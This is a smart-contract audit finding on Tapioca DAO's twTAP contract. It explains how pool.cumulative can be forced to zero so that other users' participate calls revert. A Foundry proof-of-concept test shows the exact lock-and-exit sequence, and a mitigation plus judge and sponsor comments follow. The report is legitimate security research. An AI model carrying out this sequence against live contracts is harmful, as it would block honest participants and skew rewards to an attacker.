`TwTAP` participation can be bricked stopping user to participate

[c4-bot-5]

Lines of code

https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/governance/twTAP.sol#L315 https://github.com/Tapioca-DAO/tap-token/blob/20a83b1d2d5577653610a6c3879dff9df4968345/contracts/governance/twTAP.sol#L601-L605

Vulnerability details

Description

TwTAP uses the twAML algorithm to determine the amount of rewards a user gets for locking their TAP. There, after you've achieved a certain threshold your lock duration will affect the reward calculation using a state called cumulative. Which is tracked per pool.

When you join the pool total average magnitude will be added or subtracted from the pool cumulative depending on if you lock longer or shorter than the average duration.

TwTAP::participate:

File: tap-token/contracts/governance/twTAP.sol

328:            if (divergenceForce) {
329:                pool.cumulative += pool.averageMagnitude;
330:            } else {
331:                // TODO: Strongly suspect this is never less. Prove it.
332:                if (pool.cumulative > pool.averageMagnitude) {
333:                    pool.cumulative -= pool.averageMagnitude;
334:                } else {
335:                    pool.cumulative = 0;
336:                }
337:            }

When you exit your position, your contribution will be undone in TwTAP::_releaseTap:

File: tap-token/contracts/governance/twTAP.sol

600:            if (position.divergenceForce) {
601:                if (pool.cumulative > position.averageMagnitude) {
602:                    pool.cumulative -= position.averageMagnitude;
603:                } else {
604:                    pool.cumulative = 0;
605:                }
606:            } else {
607:                pool.cumulative += position.averageMagnitude;
608:            }

Both of these have an issue, on lines L335 and L604 the pool.cumulative can be set to 0. If this happens any participations would be blocked due to this row in TwTAP::participate:

File: tap-token/contracts/governance/twTAP.sol

314:        // Revert if the lock 4x the cumulative
315:        if (magnitude >= pool.cumulative * 4) revert NotValid();

Since you must pass in at least a week as duration, magnitude will always be >0.

A malicious user could use this to prevent other users from participating thus increasing their own share of the total rewards. If they at start, lock for maximum time, 4 weeks, to create a lock with a high averageMagnitude. Then also lock for a very short period of time, to bring cumulative low again.

Then after 4 weeks they can exit their position with a high averageMagnitude which would lower the pool.cumulative to 0. Thus preventing any other users from participating.

If they right before exiting also join with a new position with a duration just enough to not make pool.cumulative larger than their exiting position.averageMagnitude they can have a large share of the pool and simultaneously prevent others from joining, keeping their high share.

The same user could also have many high averageMagnitude positions to combat other users exiting the pool raising the pool.cumulative.

Impact

A malicious user can manipulate the pool.cumulative to be 0 thus preventing other users from joining. This is to their benefit since they can join right before having a large share of the pool that no one else can participate in.

Proof of Concept

Test in tap-token/test/TwTAP.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.22;

import "forge-std/Test.sol";

import {TwTAP} from "tap-token/governance/twTAP.sol";

import {IPearlmit} from "tapioca-periph/pearlmit/PearlmitHandler.sol";
import {Pearlmit} from "tapioca-periph/pearlmit/Pearlmit.sol";

import {ERC20Permit, ERC20} from "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

contract MockTapToken is ERC20Permit {

    constructor() ERC20("MockTapToken","MTAP") ERC20Permit("TAP") {}

    function mint(address to, uint256 amount) public {
        _mint(to,amount);
    }
}

contract TwTAPTest is Test {

    MockTapToken tap = new MockTapToken();

    IPearlmit pearlmit;

    TwTAP twTAP;

    function setUp() public {
        pearlmit = IPearlmit(address(new Pearlmit("Pearlmit","1")));

        twTAP = new TwTAP({
            _tapOFT: payable(address(tap)),
            _pearlmit: pearlmit,
            _owner: address(this) 
        });
    }

    function testGetZeroCumulative() public {
        tap.mint(address(this), 10_000e18);

        tap.approve(address(pearlmit), type(uint256).max);
        pearlmit.approve(address(tap), 0, address(twTAP), type(uint200).max, type(uint48).max);

        uint256 twTAP1 = twTAP.participate({
            _participant: address(this),
            _amount: 1000e18,
            _duration: 4 weeks
        });

        // bring the down the cumulative
        twTAP.participate({
            _participant: address(this),
            _amount: 1100e18,
            _duration: 1 weeks
        });

        vm.warp(block.timestamp + 4 weeks);

        // user can participate just before
        // pushing the `cumulative` just high enough
        twTAP.participate({
            _participant: address(this),
            _amount: 1300e18,
            _duration: 17 days 
        });

        // then exit the first position brings it to 0
        twTAP.exitPosition(twTAP1, address(this));

        // participate fails 
        vm.expectRevert(TwTAP.NotValid.selector);
        twTAP.participate({
            _participant: address(this),
            _amount: 1000e18,
            _duration: 1 weeks
        });
    }

    function onERC721Received(address, address, uint256, bytes calldata) external pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

Tools Used

Manual audit

Recommended Mitigation Steps

Consider implementing something similar to TapiocaOptionBroker. Where there is a fail safe that resets cumulative to 1 week when it is 0.

Assessed type

Math

[c4-judge]

dmvt marked the issue as primary issue

[c4-sponsor]

0xRektora (sponsor) confirmed

[c4-sponsor]

0xRektora marked the issue as disagree with severity

[0xRektora]

Low. While true, the probabilities of this happening are very thin.

[c4-judge]

dmvt marked issue #107 as primary and marked this issue as a duplicate of 107

[c4-judge]

dmvt marked the issue as satisfactory